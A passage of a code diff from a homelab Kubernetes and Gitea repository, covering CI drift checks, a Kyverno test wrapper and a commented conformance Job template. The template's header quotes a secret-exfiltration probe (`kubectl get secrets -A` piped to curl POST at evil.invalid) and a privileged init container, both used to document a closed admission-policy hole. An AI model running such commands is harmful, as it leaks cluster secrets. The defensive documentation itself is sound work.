# * ZERO Actions runners were registered,
#
# for roughly a month, while DECISIONS-LOG.md recorded both as working and every agent
# and human in the loop repeated that claim because the repository said so. PR #1 — the
# first pull request this repo ever had — sat `pending` for 30.6 minutes with nothing to
# execute it. Later the same day `enable_status_check` and `required_approvals` were turned
# on and STILL did not bite, because `block_admin_merge_override` was false; PRs #5-#9
# merged with zero approvals recorded against `required_approvals: 1`.
#
# Three separate failures, one shape: a setting that READ as enforced while not being, with
# no mechanism anywhere that could notice. Scripts that ASSERT the desired state
# (infra/gitea/*.sh) do not detect drift from it. This stage is the detector.
#
# WHAT IT ASSERTS
# 1. every key in infra/gitea/expected-branch-protection.json `.protection` matches the
# LIVE rule at /repos/{repo}/branch_protections/{branch}, exactly;
# 2. at least `.runners_online_min` Actions runners report status "online".
#
# (2) is not decoration. A required status check with no runner is the deadlock this repo
# nearly walked into: every PR pends forever, including the one that would fix it.
#
# READ THE RULE OBJECT, NOT THE BRANCH VIEW. /repos/{repo}/branches/{branch} reports
# `protected`, `enable_status_check` and `required_approvals` but NOT
# `block_admin_merge_override` — it showed all-green while the rule was overridable by the
# only account that merges. This stage queries /branch_protections/ deliberately.
#
# EXIT CODES (the gate contract)
# 0 live Gitea matches the declaration
# 1 DIVERGENCE — something drifted, or was never applied. Blocks the merge.
# 3 SKIP — no token, or Gitea unreachable. Never a pass; see gate.sh, which treats this
# skip like spec-immutability's (UNDETERMINED, exit 3) rather than a hard block, so
# that an unwired credential cannot lock the repository.
#
# TO WIRE IT: create a Gitea repo secret GITEA_SETTINGS_TOKEN (a token that can read repo
# settings) — infra/gitea/set-ci-token.sh does it. Until then this stage skips LOUDLY and
# the drift it exists to catch is still undetected.
set -euo pipefail
CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
# shellcheck disable=SC1091
source "${CI_DIR}/lib.sh"
log "Stage: Gitea platform settings match the declaration"
DECL="${REPO_ROOT}/infra/gitea/expected-branch-protection.json"
GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
# SETTINGS_API_TOKEN, not GITEA_SETTINGS_TOKEN. Gitea RESERVES the `GITEA_` prefix for
# secret names and rejects a PUT of one with HTTP 400 "invalid secret name" — the same way
# GitHub reserves `GITHUB_`. The original name could therefore never be stored, and because
# infra/gitea/set-ci-token.sh sent that PUT to /dev/null and printed "stored" unconditionally,
# it looked like it had worked. A token was minted, no secret existed, and this stage would
# have skipped forever. GITEA_SETTINGS_TOKEN is still honoured for a local run.
TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
[ -f "$DECL" ] || die "declaration missing: ${DECL}"
require_tool jq
require_tool curl
if [ -z "$TOKEN" ]; then
skip "SETTINGS_API_TOKEN is not set — cannot read the live Gitea rule."
skip " Branch protection and runner registration are therefore UNVERIFIED. They were"
skip " wrong, unnoticed, for a month (2026-09-29). Wire it: infra/gitea/set-ci-token.sh"
summary "- gitea-settings: **SKIPPED — no token** (protection + runners UNVERIFIED; not a pass)"
exit 3
fi
api() { curl -sS --max-time 20 -H "Authorization: token ${TOKEN}" "$@"; }
BRANCH="$(jq -r '.branch' "$DECL")"
LIVE="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/branch_protections/${BRANCH}" || true)"
if [ -z "$LIVE" ] || ! jq -e 'type == "object" and has("branch_name")' >/dev/null 2>&1 <<<"$LIVE"; then
skip "could not read the branch-protection rule from ${GITEA_URL} (unreachable, or the token"
skip " lacks permission). Not treating this as a pass."
summary "- gitea-settings: **SKIPPED — Gitea unreadable** (not a pass)"
exit 3
fi
RC=0
# --- 1. every declared protection key must match the live rule, exactly ---------------
while IFS= read -r key; do
want="$(jq -Sc --arg k "$key" '.protection[$k]' "$DECL")"
got="$(jq -Sc --arg k "$key" 'if has($k) then .[$k] else "<<ABSENT>>" end' <<<"$LIVE")"
if [ "$want" = "$got" ]; then
ok " ${key} = ${got}"
else
err " ${key}: DECLARED ${want} but LIVE is ${got}"
RC=1
fi
done < <(jq -r '.protection | keys[]' "$DECL")
# --- 2. a runner must actually be online ----------------------------------------------
MIN="$(jq -r '.runners_online_min // 1' "$DECL")"
RUNNERS="$(api "${GITEA_URL}/api/v1/admin/actions/runners" || true)"
N="$(jq -r '[(.runners//[])[]|select(.status=="online")]|length' <<<"${RUNNERS:-{\}}" 2>/dev/null || echo 0)"
if [ "${N:-0}" -ge "$MIN" ]; then
ok " runners online: ${N} (>= ${MIN})"
else
err " runners online: ${N}, DECLARED minimum ${MIN}."
err " A required status check with no runner leaves every PR pending forever —"
err " including the PR that would fix it. This is the 2026-09-29 outage condition."
RC=1
fi
if [ "$RC" -eq 0 ]; then
ok "Gitea settings match the declaration."
summary "- gitea-settings: **green** (branch protection + runners match \`infra/gitea/expected-branch-protection.json\`)"
else
err "Gitea has DRIFTED from infra/gitea/expected-branch-protection.json."
err " Re-assert it (infra/gitea/require-gate.sh, block-admin-override.sh), or if the live"
err " state is what you now want, change the DECLARATION in the same commit — deliberately."
summary "- gitea-settings: **DRIFT** — live Gitea does not match the declaration; blocks merge"
fi
exit "$RC"
+28 -3
View File
@@ -79,12 +79,37 @@ else
cp -a "${KYVERNO_POLICY_DIR}/." "$l0_render/"
find "$l0_render" -type f -name '*.yaml' -print0 \
| xargs -0 sed -i "s/\${KYVERNO_VALIDATION_ACTION}/${KYVERNO_VALIDATION_ACTION}/g"
if kyverno test "$l0_render"; then
ok "Kyverno L0 policy tests passed"
summary "- kyverno-l0: **passed**"
# DO NOT TRUST `kyverno test`'s EXIT CODE ALONE. A policy that fails to LOAD (schema
# error, bad match block, malformed JMESPath) does not fail the run: every result row
# becomes `Skip / Invalid Policy` and the CLI still prints "N tests passed" and exits 0.
#
# MEASURED 2026-09-29 while authoring conformance-trigger-job-shape: the policy had its
# `subjects` in a separate `match.all` entry from its `resources` — a schema error. All 9
# rows came back `Skip / Invalid Policy`, and the summary read:
# Test Summary: 9 tests passed and 0 tests failed
# `kyverno apply` on the same file reported `error: 1` and named the path. So the gate's
# own policy stage would have certified a SECURITY POLICY THAT DOES NOT LOAD as green.
#
# This is not specific to that policy: a typo in restrict-host-namespaces or
# secret-provenance would silently disable it and the gate would stay green. Scan the
# output for the load failure the exit code hides.
l0_kout="$(mktemp)"
if kyverno test "$l0_render" 2>&1 | tee "$l0_kout"; then
if grep -q 'Invalid Policy' "$l0_kout"; then
err "Kyverno reported 'Invalid Policy' — one or more policies FAILED TO LOAD and were"
err " skipped, so their rules were never evaluated. The CLI exits 0 for this; the gate"
err " must not. Run 'kyverno apply <policy> --resource <resources>' for the exact path."
grep -n 'Invalid Policy' "$l0_kout" | head -5 >&2
summary "- kyverno-l0: **FAILED — policy did not load** (Invalid Policy; rules never evaluated)"
rc=1
else
ok "Kyverno L0 policy tests passed"
summary "- kyverno-l0: **passed**"
fi
else
err "Kyverno L0 policy tests failed"; summary "- kyverno-l0: **FAILED**"; rc=1
fi
rm -f "$l0_kout"
rm -rf "$l0_render"
fi
+31
View File
@@ -0,0 +1,31 @@
---
# Conformance identities (ns + conformance-runner + conformance-trigger RBAC).
#
# NON-GATING, exactly like apps-vms: `wait: false` and its own Kustomization, so a conformance
# identity can never gate the platform or app tiers. A test harness that stalls the estate it is
# meant to verify is worse than no harness.
#
# dependsOn platform-config only — it needs nothing from the app waves, and nothing in the app
# waves needs it.
#
# NOTE: this reconciles RBAC that is INERT until
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is also enforcing. That policy
# ships in the `platform` tier, which reconciles before this. Do not reorder them so that the
# trigger identity can exist while the policy bounding it does not.
apiVersion: kustomize.toolkit.fluxcd.io/v1
kind: Kustomization
metadata:
name: conformance
namespace: flux-system
spec:
interval: 10m
retryInterval: 2m
timeout: 5m
prune: true
wait: false
dependsOn:
- name: platform-config
sourceRef:
kind: GitRepository
name: flux-system
path: ./conformance/incluster
+1
View File
@@ -33,6 +33,7 @@ resources:
- apps-wave-2.yaml # Flux Kustomization -> ./apps/wave-2 (dependsOn apps-wave-1)
# VM tier (KubeVirt) — non-gating (wait:false), separate lifecycle from the app waves.
- apps-vms.yaml # Flux Kustomization -> ./apps/vms (dependsOn platform-config)
- conformance.yaml # Flux Kustomization -> ./conformance/incluster (non-gating; R-SEC-02 trigger identity)
# oauth2-proxy forward-auth — POST-platform tier (dependsOn platform-config, wait:false). A leaf
# service that needs Keycloak + trusted TLS + split-horizon DNS must NOT sit in the gating
# `platform` tier, where it self-gated its own dependencies into a cold-start deadlock (twice).
+51 -12
View File
@@ -25,20 +25,59 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
commented with the test/requirement that needs it — only as the matching fault-injection
test lands. This is a **privileged test identity**: never reused by workloads, its own
audit item.
- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to
`--requirements <touched IDs>` (merge gate) or `--layer all --strict-coverage` (phase
exit). Image pinned to `versions.env` `CHAINSAW_IMAGE`.
- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
commit under test; artifacts leave over stdout. Its header is the authority on the
substitution tokens and the admission constraints it satisfies, and records the
`initContainers` hole that was found and closed alongside it — read it before editing
either file.
- `conformance-clone` — **arrives with PR #18**, not this one. The clone init container's
entire logic, baked into the runner image at `/usr/local/bin/conformance-clone`. It is a
file in the image rather than an inline script in the Job precisely so admission can pin
it: a policy cannot tell the committed script from an attacker's when both are just `args`
on `/bin/bash -c`. The repository URL and clone target are hardcoded **there** on purpose,
and `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
honoured — a URL taken from env would let the trigger choose which repository's code runs
as `conformance-runner`. This branch's Job depends on that interface:
`CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
(hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
## Flow
1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a
trigger with narrow rights: create Job + read its logs/status — *not* a broad
kubeconfig).
2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs
`./run.sh` under `conformance-runner`.
3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` +
`coverage/` to the results volume (`/workspace/conformance/_artifacts`).
4. CI collects those artifacts (results volume or the terminating log stream, which echoes
their paths) and enforces the merge / phase-exit gate on them.
1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
runner image digest and the commit SHA — replaces `args` with the invocation shape, and
`create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
the suite runs at the commit under test or not at all. The read-only Gitea credential
reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
`username`/`token`), never as a volume: admission allows no volume but `workspace` and
`results`.
4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
`coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
decodes it from `kubectl logs` and must make all five completeness checks listed above
`conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
of decoding to plausible garbage.
## Prerequisites before this Job can run at all
- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
`token`: a **read-only** Gitea token for this repository. Never a write token or a
push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
before this template is usable; its digest is what the trigger substitutes. Contract the
image MUST meet, because the Job and the admission policy both depend on it:
- bash, git, python3, chainsaw and kubectl on `PATH`;
- a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
uid in the Containerfile means the Job will not start;
- `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
that exact path, so an image without it cannot run the clone step and no other path will
be admitted.
## Phase 0
No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux
+270 -35
View File
@@ -1,23 +1,175 @@
# =============================================================================
# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14)
# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
#
# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO
# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner`
# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that
# CI collects, and enforces the merge / phase-exit gate on the outcome.
# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
# create a permanent Job object and fight the trigger for ownership.
#
# Two invocation shapes (CI sets args):
# * MERGE GATE: ./run.sh --requirements <touched R-IDs> (subset)
# * PHASE EXIT: ./run.sh --layer all (full suite)
# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
#
# Results artifact mechanism (delegated to WS-TEST by docs/14 open items):
# Chosen = a shared results emptyDir + a terminating log stream, with an
# OPTIONAL results PVC for durability across CI collection. For Phase 0 there is
# no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised
# once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the
# results volume (or scrapes the pod log, which echoes their paths).
# -----------------------------------------------------------------------------
# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
# -----------------------------------------------------------------------------
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
# ONLY: exactly one container on a digest-pinned conformance-runner image,
# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
# host namespaces, non-root with privilege escalation off, and — the constraint that
# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
#
# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE.
# So the git credential CANNOT be a projected/secret volume, and the init container
# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
# * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
# BY SECRET NAME ONLY — no token literal ever appears in this file;
# * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
# readOnlyRootFilesystem stays true without a third volume and without subPath
# mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
# by the non-root runner).
#
# Verify before changing anything here:
# kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
# --resource <rendered job> \
# --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
#
# -----------------------------------------------------------------------------
# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
# -----------------------------------------------------------------------------
# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
# never examined, so the exact escalation the policy exists to stop was reachable one
# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
# compliant:
#
# * this template with ONLY the init container's args replaced by
# `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
# * and (the coordinator's independent reproduction) a `privileged: true`
# `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
#
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # BOTH ADMITTED
#
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
#
# Closed by new rules in that policy, authorised by the coordinator in this PR
# (the original brief forbade policy edits; that was to stop the boundary being BENT to
# fit a Job, not to stop a hole being closed):
# * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
# container, on the digest-pinned runner image, `command:
# ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
# not privileged. The clone logic moved OUT of this manifest and into the image for
# exactly this reason: a policy cannot vet a shell script passed as `args`, so the
# script had to stop being caller-supplied data. It stays reviewable as
# conformance/incluster/conformance-clone.
# * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
# unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
# verified here, and the rule costs nothing if it is true.
# * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
# was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
# the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
# sources it before running a non-interactive script. Names are allowlisted per container;
# VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
# environment-specific, and conformance-runner can already read this namespace's Secrets
# through its own RBAC, so pinning the source would buy nothing).
#
# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
# `envfrom-whole-secret` — so they stay failing.
#
# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
# committed shape" policy is only as good as its enumeration of every field that can carry
# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
# does, that is the finding, not an oversight to work around.
#
# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
#
# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
#
# -----------------------------------------------------------------------------
# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
# -----------------------------------------------------------------------------
# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
# that belongs to a script — a trap this file walked into while the clone logic was still an
# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
# with a two-token sed, nothing cleverer:
#
# sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
# -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
#
# @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ the 64-hex digest of the pinned runner image.
# Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
# are committed literals, so the substitution cannot repoint the image at another
# repository, and the template still satisfies the policy's image pattern before
# rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
# @@CONFORMANCE_GIT_SHA@@ the 40-hex commit under test. The init container
# REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
# or an injected value is a hard failure, never a run of the wrong tree.
#
# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
# file be handed to `kyverno apply` as-is.
#
# -----------------------------------------------------------------------------
# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
# -----------------------------------------------------------------------------
# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
#
# requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
# offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
#
# so:
# ["--layer","l2,l3"] -> offline selection EMPTY. RUNS.
# ["--layer","l2,l3","--requirements","R-NET-01"] -> intersected to L2/L3. RUNS.
# ["--layer","l2,l3","--include-scope","whole-repo"] -> scope union is ALSO
# layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
# ["--requirements","R-NET-01"] (no --layer, so LAYER=all) -> unbounded: pulls that
# requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
# ["--layer","all","--strict-coverage"] -> every L0/L1 test. FAILS.
#
# The first three are measured working by the image build (PR #18); the last two are measured
# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
# The committed default below is the narrowest shape that works.
#
# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
# security boundary should not encode which toolchain an image happens to ship, and the failure
# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
#
# -----------------------------------------------------------------------------
# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
# -----------------------------------------------------------------------------
# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
#
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
# <base64 of the tgz, wrapped at 76 columns>
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
#
# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
# complete artifact set — which a bare blob would, because base64 decodes a truncated
# stream to plausible garbage without complaint. See the block comment above
# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
#
# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
# transport is the pod's log, so the Job must finish while that log still exists.
# =============================================================================
apiVersion: batch/v1
kind: Job
@@ -28,7 +180,10 @@ metadata:
app.kubernetes.io/part-of: conformance
spec:
backoffLimit: 0 # deterministic: a failed conformance run is a failure, no retry
# A retry would also re-emit the artifact envelope, giving the collector two BEGIN
# markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
ttlSecondsAfterFinished: 3600
activeDeadlineSeconds: 5400 # L3 fault injection is slow; a hung run must not hold the gate
template:
metadata:
labels:
@@ -37,38 +192,118 @@ spec:
serviceAccountName: conformance-runner # scoped test identity (rbac.yaml)
restartPolicy: Never
securityContext:
# runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
# alone only *rejects* a root image, it does not choose a uid, and the runner image
# is built by a separate task (plan §5 step 1). 65532 is the conventional
# distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
# emptyDirs group-writable for that uid.
runAsNonRoot: true
runAsUser: 65532
runAsGroup: 65532
fsGroup: 65532
seccompProfile: { type: RuntimeDefault }
containers:
- name: chainsaw
# PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12).
image: ghcr.io/kyverno/chainsaw:v0.2.12
workingDir: /workspace/conformance
# The suite repo is delivered into /workspace (git clone init-container or
# a Flux-populated volume). run.sh is the single entrypoint (identical to local).
command: ["./run.sh"]
# CI overrides args per invocation shape:
# ["--requirements", "R-NET-01,R-NET-06"] (merge gate) OR
# ["--layer", "all", "--strict-coverage"] (phase exit)
args: ["--layer", "all", "--strict-coverage"]
initContainers:
# ---------------------------------------------------------------------
# Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
#
# NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
# conformance/incluster/conformance-clone and is baked into the runner image at
# /usr/local/bin/conformance-clone. That is what makes the init container
# ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
# `args: [<script>]`, no admission policy could distinguish the committed script
# from an attacker's — both are just `args` on a shell, and a Job with a privileged
# alpine init container running `kubectl get secrets -A` was ADMITTED (measured
# 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
# pins this container to that one path with NO args, so it carries no
# caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
# and for why the repository URL is hardcoded THERE rather than passed in env.
#
# Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
# is not 40 hex characters before it touches the network.
# ---------------------------------------------------------------------
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONF_ROOT
value: /workspace/conformance
- name: CONFORMANCE_GIT_SHA
value: "@@CONFORMANCE_GIT_SHA@@"
# BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
# READ-ONLY Gitea token with read access to this one repository — never a write
# token, never a deploy key with push. Keys: `username`, `token`.
# An env var is not a volume, which is how this coexists with the admission
# policy's workspace/results-only rule.
- name: GITEA_USERNAME
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: username }
- name: GITEA_TOKEN
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: token }
# Writable scratch + HOME on the workspace emptyDir, so the root filesystem
# stays read-only and no third volume is needed.
- name: TMPDIR
value: /workspace/tmp
- name: HOME
value: /workspace/home
volumeMounts:
- { name: workspace, mountPath: /workspace }
- { name: results, mountPath: /workspace/conformance/_artifacts }
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
runAsNonRoot: true
resources:
requests: { cpu: 100m, memory: 128Mi }
limits: { cpu: "1", memory: 512Mi }
containers:
- name: chainsaw
# Digest-pinned under the conformance repository path — the admission policy
# rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
# (+ kubectl, git, python3, bash); see plan §5 step 1.
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
workingDir: /workspace/src/conformance
# PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
# envelope is emitted by run.sh itself rather than by a shell one-liner here.
command: ["./run.sh"]
# Replaced wholesale by the trigger per invocation shape (see the header).
# `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
args: ["--layer", "l2,l3"]
env:
# run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
# artifact tree onto the `results` volume. It cannot live at its default
# conformance/_artifacts, because a volume mounted inside the clone target
# would make that directory non-empty and `git clone` would refuse it.
- name: CONF_ARTIFACTS
value: /results
# THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
# base64 tar over an operator's terminal.
- name: CONF_EMIT_ARTIFACTS_TGZ
value: "1"
- name: TMPDIR
value: /workspace/tmp
- name: HOME
value: /workspace/home
volumeMounts:
- { name: workspace, mountPath: /workspace }
- { name: results, mountPath: /results }
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
runAsNonRoot: true
# L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
# config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
# node without starving the suite.
resources:
requests: { cpu: 250m, memory: 512Mi }
limits: { cpu: "2", memory: 2Gi }
volumes:
# Suite source: populated by an init-container git clone of the impl repo at
# the commit under test, OR a Flux-synced source volume. (Init container
# omitted from this skeleton; wire in T-6.1b.)
# ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
# Suite source, written by the init container: /workspace/src is the checkout,
# /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
- name: workspace
emptyDir: {}
# Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir
# for a results PVC if durability beyond pod lifetime is required.
# Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
# carries; an emptyDir is sufficient because the transport is the log, not the
# volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
- name: results
emptyDir: {}
+14
View File
@@ -0,0 +1,14 @@
# Reconciled by clusters/base/conformance.yaml (non-gating, wait:false).
#
# RBAC ONLY. chainsaw-job.yaml is deliberately NOT listed: that manifest is a TEMPLATE the CI
# trigger renders and submits per run (with the commit SHA and the touched --requirements). Flux
# reconciling it would create a permanent Job object and fight the trigger for ownership.
#
# The identities here are inert without
# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which is what actually bounds
# the trigger to the committed run shape. RBAC is the necessary half, that policy the sufficient
# half — see the header of rbac.yaml.
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
resources:
- rbac.yaml
+65
View File
@@ -174,3 +174,68 @@ subjects:
- kind: ServiceAccount
name: conformance-runner
namespace: conformance
---
# =============================================================================
# THE TRIGGER IDENTITY — deliberately NOT conformance-runner.
#
# THE ESCALATION THIS EXISTS TO CLOSE (docs/plans/l2-l3-conformance-ci-wiring.md §4):
